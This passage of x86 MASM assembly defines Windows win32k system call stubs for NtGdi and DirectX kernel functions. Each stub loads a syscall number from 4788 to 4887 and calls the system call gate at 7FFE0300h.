NtGdiXLATEOBJ_iXlate ENDP ; ULONG __stdcall NtGdiXLATEOBJ_hGetColorTransform( ULONG arg_01 ); NtGdiXLATEOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD mov eax , 4788 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiXLATEOBJ_hGetColorTransform ENDP ; ULONG __stdcall NtGdiCLIPOBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCLIPOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4789 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCLIPOBJ_bEnum ENDP ; ULONG __stdcall NtGdiCLIPOBJ_cEnumStart( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCLIPOBJ_cEnumStart PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4790 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCLIPOBJ_cEnumStart ENDP ; ULONG __stdcall NtGdiCLIPOBJ_ppoGetPath( ULONG arg_01 ); NtGdiCLIPOBJ_ppoGetPath PROC STDCALL arg_01:DWORD mov eax , 4791 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCLIPOBJ_ppoGetPath ENDP ; ULONG __stdcall NtGdiEngDeletePath( ULONG arg_01 ); NtGdiEngDeletePath PROC STDCALL arg_01:DWORD mov eax , 4792 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeletePath ENDP ; ULONG __stdcall NtGdiEngCreateClip( ); NtGdiEngCreateClip PROC STDCALL mov eax , 4793 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiEngCreateClip ENDP ; ULONG __stdcall NtGdiEngDeleteClip( ULONG arg_01 ); NtGdiEngDeleteClip PROC STDCALL arg_01:DWORD mov eax , 4794 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeleteClip ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_ulGetBrushColor( ULONG arg_01 ); NtGdiBRUSHOBJ_ulGetBrushColor PROC STDCALL arg_01:DWORD mov eax , 4795 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_ulGetBrushColor ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_pvAllocRbrush( ULONG arg_01 , ULONG arg_02 ); NtGdiBRUSHOBJ_pvAllocRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4796 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBRUSHOBJ_pvAllocRbrush ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_pvGetRbrush( ULONG arg_01 ); NtGdiBRUSHOBJ_pvGetRbrush PROC STDCALL arg_01:DWORD mov eax , 4797 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_pvGetRbrush ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_hGetColorTransform( ULONG arg_01 ); NtGdiBRUSHOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD mov eax , 4798 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_hGetColorTransform ENDP ; ULONG __stdcall NtGdiXFORMOBJ_bApplyXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiXFORMOBJ_bApplyXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4799 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiXFORMOBJ_bApplyXform ENDP ; ULONG __stdcall NtGdiXFORMOBJ_iGetXform( ULONG arg_01 , ULONG arg_02 ); NtGdiXFORMOBJ_iGetXform PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4800 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiXFORMOBJ_iGetXform ENDP ; ULONG __stdcall NtGdiFONTOBJ_vGetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiFONTOBJ_vGetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4801 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiFONTOBJ_vGetInfo ENDP ; ULONG __stdcall NtGdiFONTOBJ_pxoGetXform( ULONG arg_01 ); NtGdiFONTOBJ_pxoGetXform PROC STDCALL arg_01:DWORD mov eax , 4802 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pxoGetXform ENDP ; ULONG __stdcall NtGdiFONTOBJ_cGetGlyphs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFONTOBJ_cGetGlyphs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4803 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFONTOBJ_cGetGlyphs ENDP ; ULONG __stdcall NtGdiFONTOBJ_pifi( ULONG arg_01 ); NtGdiFONTOBJ_pifi PROC STDCALL arg_01:DWORD mov eax , 4804 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pifi ENDP ; ULONG __stdcall NtGdiFONTOBJ_pfdg( ULONG arg_01 ); NtGdiFONTOBJ_pfdg PROC STDCALL arg_01:DWORD mov eax , 4805 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pfdg ENDP ; ULONG __stdcall NtGdiFONTOBJ_pQueryGlyphAttrs( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_pQueryGlyphAttrs PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4806 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiFONTOBJ_pQueryGlyphAttrs ENDP ; ULONG __stdcall NtGdiFONTOBJ_pvTrueTypeFontFile( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_pvTrueTypeFontFile PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4807 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiFONTOBJ_pvTrueTypeFontFile ENDP ; ULONG __stdcall NtGdiFONTOBJ_cGetAllGlyphHandles( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_cGetAllGlyphHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4808 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiFONTOBJ_cGetAllGlyphHandles ENDP ; ULONG __stdcall NtGdiSTROBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSTROBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4809 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSTROBJ_bEnum ENDP ; ULONG __stdcall NtGdiSTROBJ_bEnumPositionsOnly( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSTROBJ_bEnumPositionsOnly PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4810 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSTROBJ_bEnumPositionsOnly ENDP ; ULONG __stdcall NtGdiSTROBJ_bGetAdvanceWidths( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSTROBJ_bGetAdvanceWidths PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4811 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSTROBJ_bGetAdvanceWidths ENDP ; ULONG __stdcall NtGdiSTROBJ_vEnumStart( ULONG arg_01 ); NtGdiSTROBJ_vEnumStart PROC STDCALL arg_01:DWORD mov eax , 4812 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSTROBJ_vEnumStart ENDP ; ULONG __stdcall NtGdiSTROBJ_dwGetCodePage( ULONG arg_01 ); NtGdiSTROBJ_dwGetCodePage PROC STDCALL arg_01:DWORD mov eax , 4813 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSTROBJ_dwGetCodePage ENDP ; ULONG __stdcall NtGdiPATHOBJ_vGetBounds( ULONG arg_01 , ULONG arg_02 ); NtGdiPATHOBJ_vGetBounds PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4814 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiPATHOBJ_vGetBounds ENDP ; ULONG __stdcall NtGdiPATHOBJ_bEnum( ULONG arg_01 , ULONG arg_02 ); NtGdiPATHOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4815 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiPATHOBJ_bEnum ENDP ; ULONG __stdcall NtGdiPATHOBJ_vEnumStart( ULONG arg_01 ); NtGdiPATHOBJ_vEnumStart PROC STDCALL arg_01:DWORD mov eax , 4816 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiPATHOBJ_vEnumStart ENDP ; ULONG __stdcall NtGdiPATHOBJ_vEnumStartClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPATHOBJ_vEnumStartClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4817 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPATHOBJ_vEnumStartClipLines ENDP ; ULONG __stdcall NtGdiPATHOBJ_bEnumClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPATHOBJ_bEnumClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4818 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPATHOBJ_bEnumClipLines ENDP ; ULONG __stdcall NtGdiGetDhpdev( ULONG arg_01 ); NtGdiGetDhpdev PROC STDCALL arg_01:DWORD mov eax , 4819 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDhpdev ENDP ; ULONG __stdcall NtGdiEngCheckAbort( ULONG arg_01 ); NtGdiEngCheckAbort PROC STDCALL arg_01:DWORD mov eax , 4820 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngCheckAbort ENDP ; ULONG __stdcall NtGdiHT_Get8BPPFormatPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHT_Get8BPPFormatPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4821 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHT_Get8BPPFormatPalette ENDP ; ULONG __stdcall NtGdiHT_Get8BPPMaskPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiHT_Get8BPPMaskPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4822 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiHT_Get8BPPMaskPalette ENDP ; ULONG __stdcall NtGdiUpdateTransform( ULONG arg_01 ); NtGdiUpdateTransform PROC STDCALL arg_01:DWORD mov eax , 4823 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUpdateTransform ENDP ; ULONG __stdcall NtGdiSetPUMPDOBJ( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetPUMPDOBJ PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4824 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetPUMPDOBJ ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_DeleteRbrush( ULONG arg_01 , ULONG arg_02 ); NtGdiBRUSHOBJ_DeleteRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4825 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBRUSHOBJ_DeleteRbrush ENDP ; ULONG __stdcall NtGdiUnmapMemFont( ULONG arg_01 ); NtGdiUnmapMemFont PROC STDCALL arg_01:DWORD mov eax , 4826 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUnmapMemFont ENDP ; ULONG __stdcall NtGdiDrawStream( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDrawStream PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4827 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDrawStream ENDP ; ULONG __stdcall NtGdiSfmGetNotificationTokens( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSfmGetNotificationTokens PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4828 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSfmGetNotificationTokens ENDP ; ULONG __stdcall NtGdiHLSurfGetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHLSurfGetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4829 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHLSurfGetInformation ENDP ; ULONG __stdcall NtGdiHLSurfSetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHLSurfSetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4830 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHLSurfSetInformation ENDP ; ULONG __stdcall NtGdiDdDDICreateAllocation( ULONG arg_01 ); NtGdiDdDDICreateAllocation PROC STDCALL arg_01:DWORD mov eax , 4831 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateAllocation ENDP ; ULONG __stdcall NtGdiDdDDIQueryResourceInfo( ULONG arg_01 ); NtGdiDdDDIQueryResourceInfo PROC STDCALL arg_01:DWORD mov eax , 4832 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryResourceInfo ENDP ; ULONG __stdcall NtGdiDdDDIOpenResource( ULONG arg_01 ); NtGdiDdDDIOpenResource PROC STDCALL arg_01:DWORD mov eax , 4833 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenResource ENDP ; ULONG __stdcall NtGdiDdDDIDestroyAllocation( ULONG arg_01 ); NtGdiDdDDIDestroyAllocation PROC STDCALL arg_01:DWORD mov eax , 4834 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyAllocation ENDP ; ULONG __stdcall NtGdiDdDDISetAllocationPriority( ULONG arg_01 ); NtGdiDdDDISetAllocationPriority PROC STDCALL arg_01:DWORD mov eax , 4835 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetAllocationPriority ENDP ; ULONG __stdcall NtGdiDdDDIQueryAllocationResidency( ULONG arg_01 ); NtGdiDdDDIQueryAllocationResidency PROC STDCALL arg_01:DWORD mov eax , 4836 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryAllocationResidency ENDP ; ULONG __stdcall NtGdiDdDDICreateDevice( ULONG arg_01 ); NtGdiDdDDICreateDevice PROC STDCALL arg_01:DWORD mov eax , 4837 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateDevice ENDP ; ULONG __stdcall NtGdiDdDDIDestroyDevice( ULONG arg_01 ); NtGdiDdDDIDestroyDevice PROC STDCALL arg_01:DWORD mov eax , 4838 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyDevice ENDP ; ULONG __stdcall NtGdiDdDDICreateContext( ULONG arg_01 ); NtGdiDdDDICreateContext PROC STDCALL arg_01:DWORD mov eax , 4839 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateContext ENDP ; ULONG __stdcall NtGdiDdDDIDestroyContext( ULONG arg_01 ); NtGdiDdDDIDestroyContext PROC STDCALL arg_01:DWORD mov eax , 4840 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyContext ENDP ; ULONG __stdcall NtGdiDdDDICreateSynchronizationObject( ULONG arg_01 ); NtGdiDdDDICreateSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4841 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIOpenSynchronizationObject( ULONG arg_01 ); NtGdiDdDDIOpenSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4842 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIDestroySynchronizationObject( ULONG arg_01 ); NtGdiDdDDIDestroySynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4843 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroySynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIWaitForSynchronizationObject( ULONG arg_01 ); NtGdiDdDDIWaitForSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4844 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDISignalSynchronizationObject( ULONG arg_01 ); NtGdiDdDDISignalSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4845 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISignalSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIGetRuntimeData( ULONG arg_01 ); NtGdiDdDDIGetRuntimeData PROC STDCALL arg_01:DWORD mov eax , 4846 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetRuntimeData ENDP ; ULONG __stdcall NtGdiDdDDIQueryAdapterInfo( ULONG arg_01 ); NtGdiDdDDIQueryAdapterInfo PROC STDCALL arg_01:DWORD mov eax , 4847 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryAdapterInfo ENDP ; ULONG __stdcall NtGdiDdDDILock( ULONG arg_01 ); NtGdiDdDDILock PROC STDCALL arg_01:DWORD mov eax , 4848 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDILock ENDP ; ULONG __stdcall NtGdiDdDDIUnlock( ULONG arg_01 ); NtGdiDdDDIUnlock PROC STDCALL arg_01:DWORD mov eax , 4849 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIUnlock ENDP ; ULONG __stdcall NtGdiDdDDIGetDisplayModeList( ULONG arg_01 ); NtGdiDdDDIGetDisplayModeList PROC STDCALL arg_01:DWORD mov eax , 4850 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetDisplayModeList ENDP ; ULONG __stdcall NtGdiDdDDISetDisplayMode( ULONG arg_01 ); NtGdiDdDDISetDisplayMode PROC STDCALL arg_01:DWORD mov eax , 4851 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetDisplayMode ENDP ; ULONG __stdcall NtGdiDdDDIGetMultisampleMethodList( ULONG arg_01 ); NtGdiDdDDIGetMultisampleMethodList PROC STDCALL arg_01:DWORD mov eax , 4852 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetMultisampleMethodList ENDP ; ULONG __stdcall NtGdiDdDDIPresent( ULONG arg_01 ); NtGdiDdDDIPresent PROC STDCALL arg_01:DWORD mov eax , 4853 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIPresent ENDP ; ULONG __stdcall NtGdiDdDDIRender( ULONG arg_01 ); NtGdiDdDDIRender PROC STDCALL arg_01:DWORD mov eax , 4854 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIRender ENDP ; ULONG __stdcall NtGdiDdDDIOpenAdapterFromDeviceName( ULONG arg_01 ); NtGdiDdDDIOpenAdapterFromDeviceName PROC STDCALL arg_01:DWORD mov eax , 4855 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenAdapterFromDeviceName ENDP ; ULONG __stdcall NtGdiDdDDIOpenAdapterFromHdc( ULONG arg_01 ); NtGdiDdDDIOpenAdapterFromHdc PROC STDCALL arg_01:DWORD mov eax , 4856 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenAdapterFromHdc ENDP ; ULONG __stdcall NtGdiDdDDICloseAdapter( ULONG arg_01 ); NtGdiDdDDICloseAdapter PROC STDCALL arg_01:DWORD mov eax , 4857 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICloseAdapter ENDP ; ULONG __stdcall NtGdiDdDDIGetSharedPrimaryHandle( ULONG arg_01 ); NtGdiDdDDIGetSharedPrimaryHandle PROC STDCALL arg_01:DWORD mov eax , 4858 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetSharedPrimaryHandle ENDP ; ULONG __stdcall NtGdiDdDDIEscape( ULONG arg_01 ); NtGdiDdDDIEscape PROC STDCALL arg_01:DWORD mov eax , 4859 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIEscape ENDP ; ULONG __stdcall NtGdiDdDDIQueryStatistics( ULONG arg_01 ); NtGdiDdDDIQueryStatistics PROC STDCALL arg_01:DWORD mov eax , 4860 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryStatistics ENDP ; ULONG __stdcall NtGdiDdDDISetVidPnSourceOwner( ULONG arg_01 ); NtGdiDdDDISetVidPnSourceOwner PROC STDCALL arg_01:DWORD mov eax , 4861 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetVidPnSourceOwner ENDP ; ULONG __stdcall NtGdiDdDDIGetPresentHistory( ULONG arg_01 ); NtGdiDdDDIGetPresentHistory PROC STDCALL arg_01:DWORD mov eax , 4862 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetPresentHistory ENDP ; ULONG __stdcall NtGdiDdDDIGetPresentQueueEvent( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDIGetPresentQueueEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4863 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDIGetPresentQueueEvent ENDP ; ULONG __stdcall NtGdiDdDDICreateOverlay( ULONG arg_01 ); NtGdiDdDDICreateOverlay PROC STDCALL arg_01:DWORD mov eax , 4864 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateOverlay ENDP ; ULONG __stdcall NtGdiDdDDIUpdateOverlay( ULONG arg_01 ); NtGdiDdDDIUpdateOverlay PROC STDCALL arg_01:DWORD mov eax , 4865 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIUpdateOverlay ENDP ; ULONG __stdcall NtGdiDdDDIFlipOverlay( ULONG arg_01 ); NtGdiDdDDIFlipOverlay PROC STDCALL arg_01:DWORD mov eax , 4866 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIFlipOverlay ENDP ; ULONG __stdcall NtGdiDdDDIDestroyOverlay( ULONG arg_01 ); NtGdiDdDDIDestroyOverlay PROC STDCALL arg_01:DWORD mov eax , 4867 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyOverlay ENDP ; ULONG __stdcall NtGdiDdDDIWaitForVerticalBlankEvent( ULONG arg_01 ); NtGdiDdDDIWaitForVerticalBlankEvent PROC STDCALL arg_01:DWORD mov eax , 4868 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForVerticalBlankEvent ENDP ; ULONG __stdcall NtGdiDdDDISetGammaRamp( ULONG arg_01 ); NtGdiDdDDISetGammaRamp PROC STDCALL arg_01:DWORD mov eax , 4869 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetGammaRamp ENDP ; ULONG __stdcall NtGdiDdDDIGetDeviceState( ULONG arg_01 ); NtGdiDdDDIGetDeviceState PROC STDCALL arg_01:DWORD mov eax , 4870 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetDeviceState ENDP ; ULONG __stdcall NtGdiDdDDICreateDCFromMemory( ULONG arg_01 ); NtGdiDdDDICreateDCFromMemory PROC STDCALL arg_01:DWORD mov eax , 4871 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateDCFromMemory ENDP ; ULONG __stdcall NtGdiDdDDIDestroyDCFromMemory( ULONG arg_01 ); NtGdiDdDDIDestroyDCFromMemory PROC STDCALL arg_01:DWORD mov eax , 4872 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyDCFromMemory ENDP ; ULONG __stdcall NtGdiDdDDISetContextSchedulingPriority( ULONG arg_01 ); NtGdiDdDDISetContextSchedulingPriority PROC STDCALL arg_01:DWORD mov eax , 4873 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetContextSchedulingPriority ENDP ; ULONG __stdcall NtGdiDdDDIGetContextSchedulingPriority( ULONG arg_01 ); NtGdiDdDDIGetContextSchedulingPriority PROC STDCALL arg_01:DWORD mov eax , 4874 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetContextSchedulingPriority ENDP ; ULONG __stdcall NtGdiDdDDISetProcessSchedulingPriorityClass( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDISetProcessSchedulingPriorityClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4875 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDISetProcessSchedulingPriorityClass ENDP ; ULONG __stdcall NtGdiDdDDIGetProcessSchedulingPriorityClass( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDIGetProcessSchedulingPriorityClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4876 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDIGetProcessSchedulingPriorityClass ENDP ; ULONG __stdcall NtGdiDdDDIReleaseProcessVidPnSourceOwners( ULONG arg_01 ); NtGdiDdDDIReleaseProcessVidPnSourceOwners PROC STDCALL arg_01:DWORD mov eax , 4877 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIReleaseProcessVidPnSourceOwners ENDP ; ULONG __stdcall NtGdiDdDDIGetScanLine( ULONG arg_01 ); NtGdiDdDDIGetScanLine PROC STDCALL arg_01:DWORD mov eax , 4878 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetScanLine ENDP ; ULONG __stdcall NtGdiDdDDISetQueuedLimit( ULONG arg_01 ); NtGdiDdDDISetQueuedLimit PROC STDCALL arg_01:DWORD mov eax , 4879 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetQueuedLimit ENDP ; ULONG __stdcall NtGdiDdDDIPollDisplayChildren( ULONG arg_01 ); NtGdiDdDDIPollDisplayChildren PROC STDCALL arg_01:DWORD mov eax , 4880 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIPollDisplayChildren ENDP ; ULONG __stdcall NtGdiDdDDIInvalidateActiveVidPn( ULONG arg_01 ); NtGdiDdDDIInvalidateActiveVidPn PROC STDCALL arg_01:DWORD mov eax , 4881 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIInvalidateActiveVidPn ENDP ; ULONG __stdcall NtGdiDdDDICheckOcclusion( ULONG arg_01 ); NtGdiDdDDICheckOcclusion PROC STDCALL arg_01:DWORD mov eax , 4882 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckOcclusion ENDP ; ULONG __stdcall NtGdiDdDDIWaitForIdle( ULONG arg_01 ); NtGdiDdDDIWaitForIdle PROC STDCALL arg_01:DWORD mov eax , 4883 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForIdle ENDP ; ULONG __stdcall NtGdiDdDDICheckMonitorPowerState( ULONG arg_01 ); NtGdiDdDDICheckMonitorPowerState PROC STDCALL arg_01:DWORD mov eax , 4884 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckMonitorPowerState ENDP ; ULONG __stdcall NtGdiDdDDICheckExclusiveOwnership( ); NtGdiDdDDICheckExclusiveOwnership PROC STDCALL mov eax , 4885 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiDdDDICheckExclusiveOwnership ENDP ; ULONG __stdcall NtGdiDdDDISetDisplayPrivateDriverFormat( ULONG arg_01 ); NtGdiDdDDISetDisplayPrivateDriverFormat PROC STDCALL arg_01:DWORD mov eax , 4886 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetDisplayPrivateDriverFormat ENDP ; ULONG __stdcall NtGdiDdDDISharedPrimaryLockNotification( ULONG arg_01 ); NtGdiDdDDISharedPrimaryLockNotification PROC STDCALL arg_01:DWORD mov eax , 4887 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISharedPrimaryLockNotification ENDP ; ULONG __stdcall NtGdiDdDDISharedPrimaryUnLockNotification( ULONG arg_01 ); NtGdiDdDDISharedPrimaryUnLockNotification PROC 